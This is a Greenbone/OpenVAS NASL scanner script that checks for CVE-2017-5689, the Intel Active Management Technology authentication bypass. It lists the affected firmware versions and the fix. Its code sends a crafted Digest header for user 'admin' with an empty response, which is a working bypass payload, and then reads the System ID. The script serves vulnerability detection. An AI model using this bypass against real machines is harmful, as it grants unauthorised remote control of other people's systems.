Intel Active Management Technology Privilege Escalation Vulnerability

# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/o:intel:active_management_technology_firmware";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.810996");
  script_version("2023-08-18T16:09:48+0000");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2017-5689");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-08-18 16:09:48 +0000 (Fri, 18 Aug 2023)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-02-18 17:12:00 +0000 (Tue, 18 Feb 2020)");
  script_tag(name:"creation_date", value:"2017-05-05 15:39:37 +0530 (Fri, 05 May 2017)");
  script_tag(name:"qod_type", value:"exploit");
  script_name("Intel Active Management Technology Privilege Escalation Vulnerability");

  script_tag(name:"summary", value:"Intel system with Intel Active Management Technology enabled is prone to a privilege escalation vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check if we are able to access the manageability features of this product.");

  script_tag(name:"insight", value:"The flaw exists due to mishandling of input
  in an unknown function.");

  script_tag(name:"impact", value:"Successful exploitation will allow an
  unprivileged attacker to gain control of the manageability features provided
  by these products.");

  script_tag(name:"affected", value:"Intel Active Management Technology
  manageability firmware versions 6.x before 6.2.61.3535, 7.x before 7.1.91.3272,
  8.x before 8.1.71.3608, 9.0.x and 9.1.x before 9.1.41.3024, 9.5.x before
  9.5.61.3012, 10.x before 10.0.55.3000, 11.0.x before 11.0.25.3001, 11.5.x and
  11.6.x before 11.6.27.3264.");

  script_tag(name:"solution", value:"Upgrade to Intel Active Management Technology
  manageability firmware versions 6.2.61.3535 or 7.1.91.3272 or 8.1.71.3608 or
  9.1.41.3024 or 9.5.61.3012 or 10.0.55.3000 or 11.0.25.3001 or 11.6.27.3264 or later.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00075.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/98269");
  script_xref(name:"URL", value:"https://arstechnica.com/security/2017/05/intel-patches-remote-code-execution-bug-that-lurked-in-cpus-for-10-years");
  script_xref(name:"URL", value:"https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability");
  script_xref(name:"URL", value:"https://downloadcenter.intel.com/download/26754");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_intel_amt_webui_detect.nasl");
  script_mandatory_keys("intel_amt/installed");
  script_require_ports("Services/www", 16992, 16993);

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/index.htm";
req = http_get_req(port:port, url:url);
res = http_keepalive_send_recv(port:port, data:req);

if(res && "Server: Intel(R) Active Management Technology" >< res) {

  match = eregmatch(string:res, pattern:'"Digest.(.*)", nonce="(.*)",stale');
  if(match[1] && match[2]) {
    digest = match[1];
    nonce = match[2];
  } else {
    exit(0);
  }

  cnonce = rand_str(length:10);
  asp_session = string('Digest username="admin", realm="Digest:', digest, '", nonce="',
                        nonce, '", uri="/index.htm", response="", qop=auth, nc=00000001,
                        cnonce="' + cnonce + '"');

  req = http_get_req(port:port, url:url, add_headers:make_array("Authorization", asp_session));
  res = http_keepalive_send_recv(port:port, data:req);

  if(res =~ "^HTTP/1\.[01] 200" && "Server: Intel(R) Active Management Technology" >< res
             && ">Hardware Information" >< res && ">IP address" >< res && ">System ID" >< res
             && ">System<" >< res && ">Processor<" >< res && ">Memory<" >< res) {
    sys_id = eregmatch(pattern:"System ID(</p></td>)?.(  )?<td class=r1>([^<\n\r]+)", string:res);
    report = "It was possible to access /index.htm by bypassing authentication.\n";

    if (!isnull(sys_id[3]))
      report += "Among other information the System ID could be retrieved:\nSystem ID:   " + sys_id[3];

    security_message(port:port, data:report);
    exit(0);
  }

  exit(99);
}

exit(0);